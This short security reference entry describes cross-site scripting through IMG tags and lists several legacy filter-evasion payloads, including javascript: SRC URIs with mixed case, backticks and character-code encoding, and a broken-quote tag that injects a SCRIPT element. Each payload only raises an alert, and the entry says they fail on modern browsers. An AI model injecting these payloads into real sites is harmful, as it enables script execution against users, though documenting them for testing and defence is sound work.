Description

It is possible for an attacker to execute Javascript code via the IMG tags. This is also refered to as XSS (Cross Site Scripting). However, this type of attack is no longer possible on modern browsers.

Examples

The following are methods an attacker can use in order to execute Javascript but will not be effective against modern browsers.

<IMG SRC="javascript:alert('Vulnerable');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says,
'XSS'")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG
SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG
SRC=javascript:alert('XSS')>
